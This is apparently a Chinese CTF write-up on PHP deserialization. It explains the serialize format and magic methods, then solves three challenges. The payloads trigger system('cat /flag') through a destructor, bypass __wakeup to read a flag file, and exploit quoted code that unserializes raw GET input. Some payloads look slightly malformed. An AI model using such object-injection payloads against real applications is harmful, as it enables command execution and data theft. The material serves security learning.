一:序列化
1、序列化
序列化serialize()
序列化说通俗点就是把一个对象变成可以传输的字符串,序列化的目的是方便数据的传输和存储。在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
2、反序列化
反序列化unserialize()
就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
就是一个把对象中的类进行字符串的连接,一个把字符串分开。
3:字符串的格式
变量类型:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}
O:7:"MyClass":2:{s:9:"property1";s:5:"Hello";s:9:"property2";s:5:"World";}
二:序列化的识别字符
a - 数组 (Array): 一种数据结构,可以存储多个相同类型的元素。
b - 布尔型 (Boolean): 一种数据类型,只有两个可能的值:true 或 false。
d - 双精度浮点数 (Double): 一种数据类型,用于存储双精度浮点数值。
i - 整型 (Integer): 一种数据类型,用于存储整数值。
o - 普通对象 (Common Object): 一个通用的对象类型,它可以是任何类的实例。
r - 引用 (Reference): 指向对象的引用,而不是对象本身。
s - 字符串 (String): 一种数据类型,用于存储文本数据。
C - 自定义对象 (Custom Object): 指由开发者定义的特定类的实例。
O - 类 (Class): 在面向对象编程中,类是一种蓝图或模板,用于创建对象。
N - 空 (Null): 在许多编程语言中,null 表示一个不指向任何对象的特殊值。
R - 指针引用 (Pointer Reference): 一个指针变量,其值为另一个变量的地址。
U - 统一码字符串 (Unicode String): 一种数据类型,用于存储包含各种字符编码的文本数据。
三:序列化的函数:
常见的几个魔法函数:
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
__get()用于从不可访问的属性读取数据
四:第一个
1:当程序执行完的时候,对象会被销毁,销毁后会执行对应的destruct语句。
创建了一个类,类里面有3个变量。
在fuction函数里面的功能,destruct:程序执行完的时候,会自动执行该语句,然后可以看到$a();这个明显就可以看作是一个函数调用的语句。用序列化函数将其拼接实现playload语句。
playload
nss=O:3:"lyh":3:{s:3:"url":s:10:"NSSCTF.com";s:2:"lt":s:6:"system";s:3:"lly":s:9:"cat /flag"}
Windows是不区分大小写的 Linux是区分大小写的 windows是不区分大小写的,可以通过这个来判断对方是什么系统。
第2个
当前文件的绝对路径:__FILE__
会返回当前脚本的完整路径,包括文件名。光是这个符号是返回当前路径,所以要进行wakeup绕过,不让其返回他本来的路径。
让显示flag.php这个文件就可以。
2.1、__wakeup( )绕过
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
2.2、接下来就该考虑,在哪里传入他的值
$_REQUEST值是一个全局的数据库,用于存储get,post,cookie所有数据。
然后我试了试,cookie,get和post都可以成功。
x=O:1:"X":2:{s:1:"x":s:13:"fllllllag.php"}
把文件fllllllag.php显示出来就可以了。
第3个:
刚刚进去看到user-agent,就是robots.txt,url进去找到对应的php文件就可以。
1、show_source("cl45s.php");这个相当于高亮文件。
2、include,包含文件在本文件中,相当于是一体的。
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
他就初始值设置成user和123456
3、get传参就可以(前2个都是属于那种拼接的,但是这个就得注意符号)
?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}